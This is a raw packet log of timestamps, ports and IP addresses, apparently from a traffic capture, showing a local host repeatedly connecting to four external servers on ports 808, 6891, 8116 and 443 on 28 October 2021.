Oct 28, 2021 05:05:20.701181889 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:21.058008909 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.058034897 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.058116913 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.064918041 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.083456993 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:21.083489895 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:21.083744049 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:21.088947058 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:21.180133104 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.216911077 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.231456995 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.233607054 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.233711004 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.234443903 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.249838114 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:21.288574934 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.288597107 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.289105892 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.289696932 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.293831110 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.293942928 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.347237110 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.347929001 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.384234905 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.384413004 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.385215044 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.550782919 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.551177979 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.551371098 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.551846027 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.555737019 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.555892944 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:21.565392971 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.565417051 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.565485001 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.570439100 CEST	49977	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:21.624597073 CEST	8116	49977	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:21.680057049 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:21.680107117 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:21.680253983 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:21.681029081 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:21.681061029 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:21.721828938 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:21.721857071 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:22.100375891 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:22.100400925 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:22.100481987 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:22.103938103 CEST	49978	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:22.165947914 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.166238070 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.167033911 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.167051077 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.172276974 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.172298908 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.172415018 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.172430038 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.231532097 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.269526005 CEST	6891	49978	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:22.279989958 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.280101061 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.280884981 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.328917027 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.329255104 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.329355955 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.330041885 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.334856987 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.335011959 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.383126020 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.567244053 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.567269087 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.567418098 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.573091030 CEST	49980	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:22.621191978 CEST	8116	49980	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:22.694935083 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.694973946 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.695075035 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.695790052 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.695801020 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.861732006 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.861805916 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.861819983 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.861855030 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.868757010 CEST	49979	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:22.868779898 CEST	443	49979	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:22.980034113 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.138545990 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.138787031 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.139900923 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.218046904 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.218250036 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.218977928 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.218997002 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.224621058 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.224653006 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.224777937 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.224814892 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.297960043 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.298165083 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.298250914 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.298803091 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.301606894 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.301723003 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.456953049 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.459847927 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.459870100 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.459886074 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.459897041 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.839670897 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.839751005 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:23.839760065 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.839809895 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.846628904 CEST	49982	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:23.932753086 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.932842016 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.932888031 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.932920933 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.937244892 CEST	49981	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:23.937274933 CEST	443	49981	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:23.964338064 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.005052090 CEST	808	49982	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.060861111 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.130795002 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.131155014 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.132050991 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.222470045 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.222667933 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.224178076 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.298310041 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.298460007 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.298541069 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.298955917 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.303152084 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.303353071 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.386040926 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.386151075 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.386219025 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.386631012 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.389394045 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.389494896 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.469592094 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.469616890 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.469626904 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.548439026 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.550764084 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.550818920 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.550853968 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.848196983 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.848222017 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:24.848335981 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.853446960 CEST	49983	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:24.941051960 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.941080093 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:24.942558050 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.944967985 CEST	49984	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:24.962054968 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.015130043 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.015261889 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.015999079 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.019593954 CEST	6891	49983	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.068726063 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.068909883 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.069013119 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.070502996 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.076653004 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.103583097 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.103651047 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.106601954 CEST	808	49984	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:25.156497002 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.156528950 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.157102108 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.242012024 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.242181063 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.242750883 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.328752995 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.328779936 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.328938961 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.336585999 CEST	49985	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:25.389445066 CEST	8116	49985	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:25.408027887 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.408106089 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.408210039 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.408874989 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.419574976 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.419622898 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.445316076 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.445363045 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:25.445636988 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.446321011 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.446332932 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:25.585097075 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.585124016 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.963321924 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:25.963687897 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.964179993 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.964196920 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:25.968082905 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.968131065 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:25.968175888 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:25.968198061 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:25.977747917 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.977777004 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:25.977880955 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:25.980031013 CEST	49986	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:26.102005959 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.145291090 CEST	6891	49986	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:26.150710106 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.150917053 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.152045012 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.200225115 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.200464964 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.200668097 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.201457977 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.208605051 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.208878994 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.256899118 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.257018089 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.257761955 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.447768927 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.447788000 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.447937965 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.449984074 CEST	49988	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:26.498123884 CEST	8116	49988	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:26.574162960 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:26.574208021 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:26.574317932 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:26.575071096 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:26.575086117 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:26.682557106 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:26.682677031 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:26.682682037 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:26.682738066 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:26.687143087 CEST	49987	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:26.687167883 CEST	443	49987	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:26.806085110 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:26.971704006 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:26.971998930 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:26.973896980 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.090213060 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.090322018 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.090840101 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.090861082 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.094724894 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.094741106 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.094835043 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.094851971 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.139435053 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.139489889 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.139626980 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.140079975 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.142985106 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.143084049 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.305388927 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.308341026 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.308367014 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.308456898 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.689610958 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.689654112 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.689683914 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.689713001 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.695266008 CEST	49990	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.804492950 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.804646015 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.804677963 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.804761887 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.810560942 CEST	49989	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:27.810604095 CEST	443	49989	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:27.813965082 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:27.862667084 CEST	808	49990	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:27.939268112 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:27.980416059 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:27.980612993 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:27.981167078 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.097610950 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.097765923 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.099024057 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.147862911 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.147901058 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.147989035 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.148546934 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.152364016 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.152503014 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.257318974 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.257545948 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.257796049 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.258734941 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.265608072 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.265824080 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.319133997 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.319185972 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.319205999 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.416982889 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.424072981 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.424154997 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.424180031 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.424243927 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.424273968 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.697535038 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.697602034 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.697628975 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.697668076 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.702835083 CEST	49991	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.805392981 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.805412054 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:28.805608988 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.811290026 CEST	49992	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:28.822005987 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.869246960 CEST	6891	49991	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:28.878946066 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:28.879492044 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.880275011 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.930521965 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:28.938570976 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:28.938602924 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:28.938843012 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.939650059 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.945220947 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.945343971 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:28.969974041 CEST	808	49992	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:29.002144098 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:29.003149986 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:29.097301960 CEST	6891	49994	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:29.097590923 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.098664045 CEST	49994	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:29.199351072 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:29.199388981 CEST	8116	49993	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:29.199476957 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:29.199563980 CEST	49993	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:29.208264112 CEST	49993	8116	192.168.2.3	185.56.219.47
